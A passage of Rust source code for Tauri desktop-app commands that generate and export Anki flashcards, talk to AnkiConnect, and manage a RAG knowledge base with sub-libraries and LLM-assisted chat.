match state.llm_manager.generate_anki_cards_from_document(
&document_content,
&subject_name,
options.as_ref(),
).await {
Ok(cards) => {
println!("✅ ANKI卡片生成成功: {} 张卡片", cards.len());
Ok(AnkiDocumentGenerationResponse {
success: true,
cards,
error_message: None,
})
}
Err(e) => {
println!("❌ ANKI卡片生成失败: {}", e);
Ok(AnkiDocumentGenerationResponse {
success: false,
cards: vec![],
error_message: Some(e.to_string()),
})
}
}
}
// ==================== AnkiConnect集成功能 ====================
/// 检查AnkiConnect连接状态
#[tauri::command]
pub async fn check_anki_connect_status() -> Result<bool> {
match crate::anki_connect_service::check_anki_connect_availability().await {
Ok(available) => Ok(available),
Err(e) => Err(AppError::validation(e)),
}
}
/// 获取所有牌组名称
#[tauri::command]
pub async fn get_anki_deck_names() -> Result<Vec<String>> {
match crate::anki_connect_service::get_deck_names().await {
Ok(deck_names) => Ok(deck_names),
Err(e) => Err(AppError::validation(e)),
}
}
/// 获取所有笔记类型名称
#[tauri::command]
pub async fn get_anki_model_names() -> Result<Vec<String>> {
match crate::anki_connect_service::get_model_names().await {
Ok(model_names) => Ok(model_names),
Err(e) => Err(AppError::validation(e)),
}
}
/// 创建牌组（如果不存在）
#[tauri::command]
pub async fn create_anki_deck(deck_name: String) -> Result<()> {
match crate::anki_connect_service::create_deck_if_not_exists(&deck_name).await {
Ok(_) => Ok(()),
Err(e) => Err(AppError::validation(e)),
}
}
/// 将选定的卡片添加到AnkiConnect
#[tauri::command]
pub async fn add_cards_to_anki_connect(
selected_cards: Vec<crate::models::AnkiCard>,
deck_name: String,
mut note_type: String,
) -> Result<Vec<Option<u64>>> {
if selected_cards.is_empty() {
return Err(AppError::validation("没有选择任何卡片".to_string()));
}
if deck_name.trim().is_empty() {
return Err(AppError::validation("牌组名称不能为空".to_string()));
}
if note_type.trim().is_empty() {
return Err(AppError::validation("笔记类型不能为空".to_string()));
}
// 检查是否为填空题
let is_cloze = selected_cards.iter().any(|card| {
let text_content = card.text.as_deref().unwrap_or("");
text_content.contains("{{c") && text_content.contains("}}")
});
if is_cloze {
println!("🔍 检测到填空题，开始验证笔记类型...");
// 检查Anki中是否存在名为"Cloze"的笔记类型
let model_names = crate::anki_connect_service::get_model_names().await
.map_err(|e| AppError::validation(format!("获取Anki笔记类型失败: {}", e)))?;
if !model_names.iter().any(|name| name == "Cloze") {
return Err(AppError::validation(
"Anki中缺少标准的'Cloze'笔记类型，请在Anki中手动添加一个。".to_string()
));
}
// 如果用户选择的不是"Cloze"，但又是填空题，则强制使用"Cloze"
if note_type != "Cloze" {
println!("⚠️ 用户选择了非标准的填空题笔记类型 '{}'，将强制使用 'Cloze'。", note_type);
note_type = "Cloze".to_string();
}
}
println!("📤 开始添加 {} 张卡片到Anki牌组: {} (笔记类型: {})", selected_cards.len(), deck_name, note_type);
// 首先尝试创建牌组（如果不存在）
if let Err(e) = crate::anki_connect_service::create_deck_if_not_exists(&deck_name).await {
println!("⚠️ 创建牌组失败（可能已存在）: {}", e);
}
match crate::anki_connect_service::add_notes_to_anki(selected_cards, deck_name, note_type).await {
Ok(note_ids) => {
let successful_count = note_ids.iter().filter(|id| id.is_some()).count();
let failed_count = note_ids.len() - successful_count;
println!("✅ 卡片添加完成: 成功 {} 张, 失败 {} 张", successful_count, failed_count);
if failed_count > 0 {
println!("⚠️ 部分卡片添加失败，可能是重复卡片或格式错误");
}
Ok(note_ids)
}
Err(e) => {
println!("❌ 添加卡片到Anki失败: {}", e);
Err(AppError::validation(e))
}
}
}
/// 导出选定的卡片为.apkg文件
#[tauri::command]
pub async fn export_cards_as_apkg(
selected_cards: Vec<crate::models::AnkiCard>,
deck_name: String,
note_type: String,
) -> Result<String> {
export_cards_as_apkg_with_template(selected_cards, deck_name, note_type, None).await
}
/// 导出选定的卡片为.apkg文件（支持模板）
#[tauri::command]
pub async fn export_cards_as_apkg_with_template(
selected_cards: Vec<crate::models::AnkiCard>,
deck_name: String,
mut note_type: String,
template_id: Option<String>,
) -> Result<String> {
if selected_cards.is_empty() {
return Err(AppError::validation("没有选择任何卡片".to_string()));
}
// 获取模板配置
let template_config = if let Some(template_id) = template_id {
Some(get_template_config(&template_id).map_err(|e| AppError::validation(e))?)
} else {
None
};
if deck_name.trim().is_empty() {
return Err(AppError::validation("牌组名称不能为空".to_string()));
}
if note_type.trim().is_empty() {
return Err(AppError::validation("笔记类型不能为空".to_string()));
}
// 检查是否为填空题
let is_cloze = selected_cards.iter().any(|card| {
let text_content = card.text.as_deref().unwrap_or("");
text_content.contains("{{c") && text_content.contains("}}")
});
if is_cloze && note_type != "Cloze" {
println!("⚠️ 检测到填空题，但笔记类型不是 'Cloze'。导出时将强制使用 'Cloze' 类型。");
note_type = "Cloze".to_string();
}
println!("📦 开始导出 {} 张卡片为.apkg文件 (笔记类型: {})", selected_cards.len(), note_type);
// 生成默认文件名和路径
let home_dir = std::env::var("HOME").or_else(|_| std::env::var("USERPROFILE"))
.unwrap_or_else(|_| ".".to_string());
let output_path = std::path::PathBuf::from(home_dir)
.join("Downloads")
.join(format!("{}.apkg", deck_name.replace("/", "_").replace("\\", "_")));
println!("📁 导出路径: {:?}", output_path);
match crate::apkg_exporter_service::export_cards_to_apkg_with_template(
selected_cards,
deck_name,
note_type,
output_path.clone(),
template_config
).await {
Ok(_) => {
println!("✅ .apkg文件导出成功: {:?}", output_path);
Ok(format!("成功导出到: {}", output_path.display()))
}
Err(e) => {
println!("❌ .apkg文件导出失败: {}", e);
Err(AppError::validation(e))
}
}
}
// =================== Enhanced ANKI Commands ===================
/// 开始文档处理 - 增强版ANKI制卡
#[tauri::command]
pub async fn start_enhanced_document_processing(
document_content: String,
original_document_name: String,
subject_name: Option<String>,
options: AnkiGenerationOptions,
window: Window,
state: State<'_, AppState>,
) -> Result<String> {
// 使用默认科目名称如果未提供
let actual_subject_name = subject_name.unwrap_or_else(|| "通用学习材料".to_string());
println!("🚀 开始增强文档处理: 科目={}, 文档名={}, 内容长度={}",
actual_subject_name, original_document_name, document_content.len());
// 创建增强ANKI服务实例
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
// 构建请求
let request = AnkiDocumentGenerationRequest {
document_content,
subject_name: actual_subject_name,
options: Some(options),
};
// 开始处理
let document_id = enhanced_service.start_document_processing(request, window).await?;
println!("✅ 文档处理已启动: {}", document_id);
Ok(document_id)
}
/// 手动触发任务处理
#[tauri::command]
pub async fn trigger_task_processing(
task_id: String,
window: Window,
state: State<'_, AppState>,
) -> Result<()> {
println!("🎯 触发任务处理: {}", task_id);
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
enhanced_service.trigger_task_processing(task_id, window).await?;
Ok(())
}
/// 获取文档的所有任务
#[tauri::command]
pub async fn get_document_tasks(
documentId: String,
state: State<'_, AppState>,
) -> Result<Vec<crate::models::DocumentTask>> {
println!("📋 获取文档任务列表: {}", documentId);
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
let tasks = enhanced_service.get_document_tasks(documentId)?;
println!("✅ 找到 {} 个任务", tasks.len());
Ok(tasks)
}
/// 获取任务的所有卡片
#[tauri::command]
pub async fn get_task_cards(
task_id: String,
state: State<'_, AppState>,
) -> Result<Vec<crate::models::AnkiCard>> {
println!("🃏 获取任务卡片: {}", task_id);
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
let cards = enhanced_service.get_task_cards(task_id)?;
println!("✅ 找到 {} 张卡片", cards.len());
Ok(cards)
}
/// 更新ANKI卡片
#[tauri::command]
pub async fn update_anki_card(
card: crate::models::AnkiCard,
state: State<'_, AppState>,
) -> Result<()> {
println!("✏️ 更新ANKI卡片: {}", card.id);
// 验证卡片数据
if card.front.trim().is_empty() {
return Err(AppError::validation("卡片正面不能为空"));
}
if card.back.trim().is_empty() {
return Err(AppError::validation("卡片背面不能为空"));
}
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
enhanced_service.update_anki_card(card)?;
println!("✅ 卡片更新成功");
Ok(())
}
/// 删除ANKI卡片
#[tauri::command]
pub async fn delete_anki_card(
card_id: String,
state: State<'_, AppState>,
) -> Result<bool> {
println!("🗑️ 删除ANKI卡片: {}", card_id);
if card_id.is_empty() {
return Err(AppError::validation("卡片ID不能为空"));
}
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
enhanced_service.delete_anki_card(card_id)?;
println!("✅ 卡片删除成功");
Ok(true)
}
/// 删除文档任务及其所有卡片
#[tauri::command]
pub async fn delete_document_task(
task_id: String,
state: State<'_, AppState>,
) -> Result<bool> {
println!("🗑️ 删除文档任务: {}", task_id);
if task_id.is_empty() {
return Err(AppError::validation("任务ID不能为空"));
}
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
enhanced_service.delete_document_task(task_id)?;
println!("✅ 任务删除成功");
Ok(true)
}
/// 删除整个文档会话（所有任务和卡片）
#[tauri::command]
pub async fn delete_document_session(
documentId: String,
state: State<'_, AppState>,
) -> Result<bool> {
println!("🗑️ 删除文档会话: {}", documentId);
if documentId.is_empty() {
return Err(AppError::validation("文档ID不能为空"));
}
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
enhanced_service.delete_document_session(documentId)?;
println!("✅ 文档会话删除成功");
Ok(true)
}
/// 导出选定内容为APKG文件
#[tauri::command]
pub async fn export_apkg_for_selection(
documentId: Option<String>,
taskIds: Option<Vec<String>>,
cardIds: Option<Vec<String>>,
options: AnkiGenerationOptions,
state: State<'_, AppState>,
) -> Result<String> {
println!("📦 导出选定内容为APKG文件");
// 验证至少选择了一种导出内容
if documentId.is_none() && taskIds.is_none() && cardIds.is_none() {
return Err(AppError::validation("必须选择要导出的内容（文档、任务或卡片）"));
}
let enhanced_service = crate::enhanced_anki_service::EnhancedAnkiService::new(
state.database.clone(),
state.llm_manager.clone(),
);
let export_path = enhanced_service.export_apkg_for_selection(
documentId,
taskIds,
cardIds,
options,
).await?;
println!("✅ APKG文件导出成功: {}", export_path);
Ok(export_path)
}
/// 获取文档的所有卡片（用于导出预览）
#[tauri::command]
pub async fn get_document_cards(
documentId: String,
state: State<'_, AppState>,
) -> Result<Vec<crate::models::AnkiCard>> {
println!("📋 获取文档的所有卡片: {}", documentId);
let cards = state.database.get_cards_for_document(&documentId)
.map_err(|e| AppError::database(format!("获取文档卡片失败: {}", e)))?;
println!("✅ 找到 {} 张卡片", cards.len());
Ok(cards)
}
// ==================== RAG知识库管理命令 ====================
use crate::models::{
KnowledgeBaseStatusPayload, DocumentUploadRequest,
RagEnhancedAnalysisRequest, RagEnhancedChatRequest
};
/// 添加文档到知识库
#[tauri::command]
pub async fn rag_add_documents(
request: DocumentUploadRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<String> {
println!("📚 添加文档到知识库: {} 个文件", request.file_paths.len());
// 立即读取文件并转换为内容模式，避免路径失效问题
let mut document_contents = Vec::new();
for (index, file_path) in request.file_paths.iter().enumerate() {
println!("📄 文件 {}: {}", index + 1, file_path);
// 尝试规范化路径
let normalized_path = match std::path::Path::new(file_path).canonicalize() {
Ok(canonical) => {
let canonical_str = canonical.display().to_string();
println!("🔧 规范化路径: {} -> {}", file_path, canonical_str);
canonical_str
}
Err(e) => {
println!("⚠️ 无法规范化路径 {}: {}，使用原路径", file_path, e);
file_path.clone()
}
};
let path = std::path::Path::new(&normalized_path);
// 检查文件是否存在
if !path.exists() {
println!("❌ 文件不存在: {} (原路径: {})", normalized_path, file_path);
return Err(AppError::file_system(format!("文件不存在: {} (原路径: {})", normalized_path, file_path)));
}
if !path.is_file() {
println!("❌ 路径不是文件: {} (原路径: {})", normalized_path, file_path);
return Err(AppError::file_system(format!("指定路径不是文件: {} (原路径: {})", normalized_path, file_path)));
}
// 立即读取文件内容，避免后续路径失效
let file_name = path.file_name()
.and_then(|name| name.to_str())
.unwrap_or("unknown")
.to_string();
println!("📚 立即读取文件内容: {}", file_name);
let content = match path.extension().and_then(|ext| ext.to_str()).unwrap_or("").to_lowercase().as_str() {
"txt" | "md" | "markdown" => {
// 文本文件直接读取
match std::fs::read_to_string(&normalized_path) {
Ok(content) => content,
Err(e) => {
println!("❌ 读取文本文件失败: {} - {}", file_name, e);
return Err(AppError::file_system(format!("读取文本文件失败: {} - {}", file_name, e)));
}
}
}
"pdf" | "docx" => {
// 二进制文件读取为base64
match std::fs::read(&normalized_path) {
Ok(bytes) => {
use base64::{Engine as _, engine::general_purpose};
general_purpose::STANDARD.encode(&bytes)
}
Err(e) => {
println!("❌ 读取二进制文件失败: {} - {}", file_name, e);
return Err(AppError::file_system(format!("读取二进制文件失败: {} - {}", file_name, e)));
}
}
}
_ => {
println!("❌ 不支持的文件类型: {}", file_name);
return Err(AppError::validation(format!("不支持的文件类型: {}", file_name)));
}
};
println!("✅ 文件内容读取成功: {} ({} 字符)", file_name, content.len());
document_contents.push(serde_json::json!({
"fileName": file_name,
"content": content
}));
}
if document_contents.is_empty() {
return Err(AppError::validation("文件内容列表不能为空"));
}
// 使用内容模式添加文档，避免路径依赖
let result = state.rag_manager.add_documents_from_content(document_contents, window).await?;
println!("✅ 文档添加完成");
Ok(result)
}
/// 从文件内容添加文档到知识库
#[tauri::command]
pub async fn rag_add_documents_from_content(
documents: Vec<serde_json::Value>,
window: Window,
state: State<'_, AppState>,
) -> Result<String> {
println!("📚 从内容添加文档到知识库: {} 个文件", documents.len());
if documents.is_empty() {
return Err(AppError::validation("文档列表不能为空"));
}
let result = state.rag_manager.add_documents_from_content(documents, window).await?;
println!("✅ 从内容添加文档完成");
Ok(result)
}
/// 获取知识库状态
#[tauri::command]
pub async fn rag_get_knowledge_base_status(
state: State<'_, AppState>,
) -> Result<KnowledgeBaseStatusPayload> {
println!("📊 获取知识库状态");
let status = state.rag_manager.get_knowledge_base_status().await?;
println!("✅ 知识库状态获取完成: {} 个文档, {} 个块", status.total_documents, status.total_chunks);
Ok(status)
}
/// 删除知识库中的文档
#[tauri::command]
pub async fn rag_delete_document(
documentId: String,
state: State<'_, AppState>,
) -> Result<()> {
println!("🗑️ 删除知识库文档: {}", documentId);
if documentId.is_empty() {
return Err(AppError::validation("文档ID不能为空"));
}
state.rag_manager.delete_document_from_knowledge_base(&documentId).await?;
println!("✅ 文档删除完成");
Ok(())
}
/// 查询知识库
#[tauri::command]
pub async fn rag_query_knowledge_base(
query: String,
options: RagQueryOptions,
state: State<'_, AppState>,
) -> Result<RagQueryResponse> {
println!("🔍 查询知识库: '{}'", query);
if query.trim().is_empty() {
return Err(AppError::validation("查询字符串不能为空"));
}
let response = state.rag_manager.query_knowledge_base(&query, options).await?;
println!("✅ 知识库查询完成: {} 个结果", response.retrieved_chunks.len());
Ok(response)
}
/// 获取所有文档列表
#[tauri::command]
pub async fn rag_get_all_documents(
state: State<'_, AppState>,
) -> Result<Vec<serde_json::Value>> {
println!("📋 获取所有文档列表");
let documents = state.rag_manager.get_all_documents().await?;
println!("✅ 文档列表获取完成: {} 个文档", documents.len());
Ok(documents)
}
/// 清空知识库
#[tauri::command]
pub async fn rag_clear_knowledge_base(
state: State<'_, AppState>,
) -> Result<()> {
println!("🧹 清空知识库");
state.rag_manager.clear_knowledge_base().await?;
println!("✅ 知识库清空完成");
Ok(())
}
// ==================== RAG增强的AI分析命令 ====================
/// RAG增强的流式分析
#[tauri::command]
pub async fn start_rag_enhanced_streaming_answer(
request: RagEnhancedAnalysisRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<()> {
println!("🚀 启动RAG增强的流式AI解答: {}, RAG: {:?}",
request.temp_id, request.enable_rag);
// 获取临时会话
let temp_session = {
let sessions = state.temp_sessions.lock().await;
sessions.get(&request.temp_id).cloned()
};
let session = temp_session.ok_or("临时会话不存在")?;
// 如果启用RAG，先进行知识库查询
let retrieved_context = if request.enable_rag.unwrap_or(false) {
let rag_options = request.rag_options.unwrap_or(RagQueryOptions {
top_k: 5,
enable_reranking: Some(false),
});
// 构建查询字符串（结合用户问题和OCR内容）
let query = format!("{} {}", session.user_question, session.ocr_text);
println!("🔍 RAG查询: '{}'", query);
let rag_response = state.rag_manager.query_knowledge_base(&query, rag_options).await?;
rag_response.retrieved_chunks
} else {
Vec::new()
};
// 启动RAG增强的流式AI解答
let stream_event = format!("analysis_stream_{}", request.temp_id);
let model2_result = if !retrieved_context.is_empty() {
// 构建完整的分析上下文
let mut analysis_context = std::collections::HashMap::new();
analysis_context.insert("user_question".to_string(), serde_json::Value::String(session.user_question.clone()));
analysis_context.insert("ocr_text".to_string(), serde_json::Value::String(session.ocr_text.clone()));
analysis_context.insert("tags".to_string(), serde_json::Value::Array(
session.tags.iter().map(|t| serde_json::Value::String(t.clone())).collect()
));
analysis_context.insert("mistake_type".to_string(), serde_json::Value::String(session.mistake_type.clone()));
analysis_context.insert("subject".to_string(), serde_json::Value::String(session.subject.clone()));
// 使用RAG增强的模型调用
state.llm_manager.call_rag_enhanced_model_stream(
&analysis_context,
retrieved_context.clone(),
&[], // 空的聊天历史
&session.subject,
request.enable_chain_of_thought,
Some(session.question_images.clone()), // 🎯 修复：传递图片信息
window,
&stream_event,
).await?
} else {
// 使用普通的模型调用
let mut context = std::collections::HashMap::new();
context.insert("ocr_text".to_string(), serde_json::json!(session.ocr_text));
context.insert("tags".to_string(), serde_json::json!(session.tags));
context.insert("mistake_type".to_string(), serde_json::json!(session.mistake_type));
context.insert("user_question".to_string(), serde_json::json!(session.user_question));
state.llm_manager.call_unified_model_2_stream(
&context,
&[],
&session.subject,
request.enable_chain_of_thought,
Some(session.question_images.clone()), // 🎯 修复：传递图片信息
None,
window,
&stream_event,
).await?
};
// 更新临时会话的聊天历史
{
let mut sessions = state.temp_sessions.lock().await;
if let Some(session) = sessions.get_mut(&request.temp_id) {
// 转换RAG来源信息
let rag_sources = if !retrieved_context.is_empty() {
Some(retrieved_context.iter().map(|chunk| crate::models::RagSourceInfo {
document_id: chunk.chunk.document_id.clone(),
file_name: chunk.chunk.metadata.get("file_name")
.unwrap_or(&"unknown".to_string()).clone(),
chunk_text: chunk.chunk.text.clone(),
score: chunk.score,
chunk_index: chunk.chunk.chunk_index,
}).collect())
} else {
None
};
session.chat_history.push(ChatMessage {
role: "assistant".to_string(),
content: model2_result.assistant_message,
timestamp: Utc::now(),
thinking_content: None,
rag_sources,
image_paths: None,
image_base64: None,
});
}
}
println!("✅ RAG增强的流式分析完成");
Ok(())
}
/// RAG增强的继续对话
#[tauri::command]
pub async fn continue_rag_enhanced_chat_stream(
request: RagEnhancedChatRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<ContinueChatResponse> {
println!("💬 RAG增强的继续对话: {}, RAG: {:?}",
request.temp_id, request.enable_rag);
// 获取临时会话
let temp_session = {
let sessions = state.temp_sessions.lock().await;
sessions.get(&request.temp_id).cloned()
};
let mut session = temp_session.ok_or("临时会话不存在")?;
// 如果启用RAG，进行知识库查询
let retrieved_context = if request.enable_rag.unwrap_or(false) {
let rag_options = request.rag_options.unwrap_or(RagQueryOptions {
top_k: 5,
enable_reranking: Some(false),
});
// 从最新的用户消息中提取查询
let latest_user_message = request.chat_history.iter()
.filter(|msg| msg.role == "user")
.last()
.map(|msg| msg.content.clone())
.unwrap_or_else(|| session.user_question.clone());
println!("🔍 RAG查询: '{}'", latest_user_message);
let rag_response = state.rag_manager.query_knowledge_base(&latest_user_message, rag_options).await?;
rag_response.retrieved_chunks
} else {
Vec::new()
};
// 启动流式对话
let stream_event = format!("continue_chat_stream_{}", request.temp_id);
let model2_result = if !retrieved_context.is_empty() {
// 获取最新用户消息
let latest_user_query = request.chat_history.iter()
.filter(|msg| msg.role == "user")
.last()
.map(|msg| msg.content.clone())
.unwrap_or_else(|| "请继续分析".to_string());
// 构建完整的分析上下文（包含原始错题信息）
let mut analysis_context = std::collections::HashMap::new();
analysis_context.insert("user_question".to_string(), serde_json::Value::String(session.user_question.clone()));
analysis_context.insert("latest_user_query".to_string(), serde_json::Value::String(latest_user_query));
analysis_context.insert("ocr_text".to_string(), serde_json::Value::String(session.ocr_text.clone()));
analysis_context.insert("tags".to_string(), serde_json::Value::Array(
session.tags.iter().map(|t| serde_json::Value::String(t.clone())).collect()
));
analysis_context.insert("mistake_type".to_string(), serde_json::Value::String(session.mistake_type.clone()));
analysis_context.insert("subject".to_string(), serde_json::Value::String(session.subject.clone()));
// 使用RAG增强的模型调用
state.llm_manager.call_rag_enhanced_model_stream(
&analysis_context,
retrieved_context.clone(),
&request.chat_history,
&session.subject,
request.enable_chain_of_thought.unwrap_or(false),
Some(session.question_images.clone()), // 🎯 修复：传递图片信息
window,
&stream_event,
).await?
} else {
// 使用普通的模型调用
let mut context = std::collections::HashMap::new();
context.insert("ocr_text".to_string(), serde_json::json!(session.ocr_text));
context.insert("tags".to_string(), serde_json::json!(session.tags));
context.insert("mistake_type".to_string(), serde_json::json!(session.mistake_type));
context.insert("user_question".to_string(), serde_json::json!(session.user_question));
let model_config = state.llm_manager.get_model2_config().await
.map_err(|e| format!("获取模型配置失败: {}", e))?;
let enable_chain_of_thought = request.enable_chain_of_thought.unwrap_or(model_config.is_reasoning);
state.llm_manager.call_unified_model_2_stream(
&context,
&request.chat_history,
&session.subject,
enable_chain_of_thought,
Some(session.question_images.clone()), // 🎯 修复：传递图片信息
Some("基于题目信息继续对话解答用户问题"),
window,
&stream_event,
).await?
};
// 更新会话的聊天记录
session.chat_history = request.chat_history;
// 转换RAG来源信息（如果有的话）
let rag_sources = if !retrieved_context.is_empty() {
Some(retrieved_context.iter().map(|chunk| crate::models::RagSourceInfo {
document_id: chunk.chunk.document_id.clone(),
file_name: chunk.chunk.metadata.get("file_name")
.unwrap_or(&"unknown".to_string()).clone(),
chunk_text: chunk.chunk.text.clone(),
score: chunk.score,
chunk_index: chunk.chunk.chunk_index,
}).collect())
} else {
None
};
session.chat_history.push(ChatMessage {
role: "assistant".to_string(),
content: model2_result.assistant_message.clone(),
timestamp: Utc::now(),
thinking_content: None,
rag_sources,
image_paths: None,
image_base64: None,
});
// 保存更新后的会话
{
let mut sessions = state.temp_sessions.lock().await;
sessions.insert(request.temp_id, session);
}
println!("✅ RAG增强的对话完成");
Ok(ContinueChatResponse {
new_assistant_message: model2_result.assistant_message,
})
}
/// LLM基于上下文生成回答
#[tauri::command]
pub async fn llm_generate_answer_with_context(
user_query: String,
retrieved_chunks_json: String,
state: State<'_, AppState>,
) -> Result<String> {
println!("🤖 开始生成基于上下文的回答");
if user_query.trim().is_empty() {
return Err(AppError::validation("用户查询不能为空"));
}
// 解析检索到的文档块
let retrieved_chunks: Vec<crate::models::RetrievedChunk> = serde_json::from_str(&retrieved_chunks_json)
.map_err(|e| AppError::validation(format!("解析检索结果失败: {}", e)))?;
if retrieved_chunks.is_empty() {
return Err(AppError::validation("没有提供知识库上下文"));
}
// 构建RAG增强的Prompt
let mut context_text = String::new();
context_text.push_str("以下是从知识库中检索到的相关信息：\n\n");
for (index, chunk) in retrieved_chunks.iter().enumerate() {
context_text.push_str(&format!(
"[文档{}] 来源: {}\n{}\n\n",
index + 1,
chunk.chunk.metadata.get("file_name").unwrap_or(&"未知文档".to_string()),
chunk.chunk.text
));
}
context_text.push_str(&format!(
"基于以上知识库信息，请回答用户的问题：\n{}\n\n",
user_query
));
context_text.push_str("请确保回答准确、有用，并在适当时引用具体的来源信息。如果知识库中的信息不足以回答问题，请明确说明。");
// 构建上下文参数
let mut context_map = std::collections::HashMap::new();
context_map.insert("context".to_string(), serde_json::Value::String(context_text));
// 调用LLM生成回答
let answer = state.llm_manager.call_unified_model_2(
&context_map,
&[], // 空的聊天历史
"通用", // 科目
false, // 不启用思维链
None, // 没有图片
Some("RAG增强问答") // 任务上下文
).await.map_err(|e| AppError::llm(format!("LLM生成回答失败: {}", e)))?;
println!("✅ 基于上下文的回答生成完成，长度: {} 字符", answer.assistant_message.len());
Ok(answer.assistant_message)
}
// ==================== RAG配置管理命令 ====================
/// 获取RAG配置
#[tauri::command]
pub async fn get_rag_settings(
state: State<'_, AppState>,
) -> Result<crate::models::RagConfigResponse> {
println!("📖 获取RAG配置");
let config = state.database.get_rag_configuration()
.map_err(|e| AppError::database(format!("获取RAG配置失败: {}", e)))?;
match config {
Some(config) => {
println!("✅ RAG配置获取成功");
Ok(crate::models::RagConfigResponse {
chunk_size: config.chunk_size,
chunk_overlap: config.chunk_overlap,
chunking_strategy: config.chunking_strategy,
min_chunk_size: config.min_chunk_size,
default_top_k: config.default_top_k,
default_rerank_enabled: config.default_rerank_enabled,
})
}
None => {
// 如果没有配置，返回默认值
println!("⚠️ 未找到RAG配置，返回默认值");
Ok(crate::models::RagConfigResponse {
chunk_size: 512,
chunk_overlap: 50,
chunking_strategy: "fixed_size".to_string(),
min_chunk_size: 20,
default_top_k: 5,
default_rerank_enabled: false,
})
}
}
}
/// 更新RAG配置
#[tauri::command]
pub async fn update_rag_settings(
settings: crate::models::RagConfigRequest,
state: State<'_, AppState>,
) -> Result<()> {
println!("🔧 更新RAG配置");
// 验证配置参数
if settings.chunk_size < 50 || settings.chunk_size > 2048 {
return Err(AppError::validation("分块大小必须在50-2048之间"));
}
if settings.chunk_overlap < 0 || settings.chunk_overlap >= settings.chunk_size {
return Err(AppError::validation("重叠大小必须非负且小于分块大小"));
}
if settings.min_chunk_size < 10 || settings.min_chunk_size > settings.chunk_size {
return Err(AppError::validation("最小分块大小必须在10和分块大小之间"));
}
if settings.default_top_k < 1 || settings.default_top_k > 50 {
return Err(AppError::validation("默认检索数量必须在1-50之间"));
}
if !["fixed_size", "semantic"].contains(&settings.chunking_strategy.as_str()) {
return Err(AppError::validation("分块策略必须是 'fixed_size' 或 'semantic'"));
}
state.database.update_rag_configuration(&settings)
.map_err(|e| AppError::database(format!("更新RAG配置失败: {}", e)))?;
println!("✅ RAG配置更新成功");
Ok(())
}
/// 重置RAG配置为默认值
#[tauri::command]
pub async fn reset_rag_settings(
state: State<'_, AppState>,
) -> Result<()> {
println!("🔄 重置RAG配置为默认值");
state.database.reset_rag_configuration()
.map_err(|e| AppError::database(format!("重置RAG配置失败: {}", e)))?;
println!("✅ RAG配置已重置为默认值");
Ok(())
}
// ============================================================================
// RAG分库管理相关命令
// ============================================================================
/// 创建新的RAG分库
#[tauri::command]
pub async fn create_rag_sub_library(
request: CreateSubLibraryRequest,
state: State<'_, AppState>,
) -> Result<SubLibrary> {
println!("🏗️ 创建新分库: {}", request.name);
let sub_library = state.database.create_sub_library(&request)
.map_err(|e| AppError::database(format!("创建分库失败: {}", e)))?;
println!("✅ 分库创建成功: {} (ID: {})", sub_library.name, sub_library.id);
Ok(sub_library)
}
/// 获取所有RAG分库列表
#[tauri::command]
pub async fn get_rag_sub_libraries(
state: State<'_, AppState>,
) -> Result<Vec<SubLibrary>> {
println!("📚 获取分库列表");
let libraries = state.database.list_sub_libraries()
.map_err(|e| AppError::database(format!("获取分库列表失败: {}", e)))?;
println!("✅ 获取到 {} 个分库", libraries.len());
Ok(libraries)
}
/// 根据ID获取RAG分库详情
#[tauri::command]
pub async fn get_rag_sub_library_by_id(
libraryId: String,
state: State<'_, AppState>,
) -> Result<Option<SubLibrary>> {
println!("🔍 获取分库详情: {}", libraryId);
let library = state.database.get_sub_library_by_id(&libraryId)
.map_err(|e| AppError::database(format!("获取分库详情失败: {}", e)))?;
if let Some(ref lib) = library {
println!("✅ 找到分库: {}", lib.name);
} else {
println!("⚠️ 未找到分库: {}", libraryId);
}
Ok(library)
}
/// 更新RAG分库信息
#[tauri::command]
pub async fn update_rag_sub_library(
libraryId: String,
request: UpdateSubLibraryRequest,
state: State<'_, AppState>,
) -> Result<SubLibrary> {
println!("📝 更新分库: {}", libraryId);
let updated_library = state.database.update_sub_library(&libraryId, &request)
.map_err(|e| AppError::database(format!("更新分库失败: {}", e)))?;
println!("✅ 分库更新成功: {}", updated_library.name);
Ok(updated_library)
}
/// 删除RAG分库
#[tauri::command]
pub async fn delete_rag_sub_library(
libraryId: String,
deleteDocuments: Option<bool>,
state: State<'_, AppState>,
) -> Result<()> {
let delete_contained_documents = deleteDocuments.unwrap_or(false);
println!("🗑️ 删除分库: {} (删除文档: {})", libraryId, delete_contained_documents);
state.database.delete_sub_library(&libraryId, delete_contained_documents)
.map_err(|e| AppError::database(format!("删除分库失败: {}", e)))?;
println!("✅ 分库删除成功");
Ok(())
}
/// 向指定分库添加文档
#[tauri::command]
pub async fn rag_add_documents_to_library(
request: RagAddDocumentsRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<String> {
let target_library = request.sub_library_id.as_deref();
println!("📄 向分库添加文档: {:?}, 文档数: {}", target_library, request.file_paths.len());
// 使用相同的修复方式：立即读取文件内容避免路径失效
let mut document_contents = Vec::new();
for (index, file_path) in request.file_paths.iter().enumerate() {
println!("📄 文件 {}: {}", index + 1, file_path);
// 尝试规范化路径
let normalized_path = match std::path::Path::new(file_path).canonicalize() {
Ok(canonical) => {
let canonical_str = canonical.display().to_string();
println!("🔧 规范化路径: {} -> {}", file_path, canonical_str);
canonical_str
}
Err(e) => {
println!("⚠️ 无法规范化路径 {}: {}，使用原路径", file_path, e);
file_path.clone()
}
};
let path = std::path::Path::new(&normalized_path);
// 检查文件是否存在
if !path.exists() {
println!("❌ 文件不存在: {} (原路径: {})", normalized_path, file_path);
return Err(AppError::file_system(format!("文件不存在: {} (原路径: {})", normalized_path, file_path)));
}
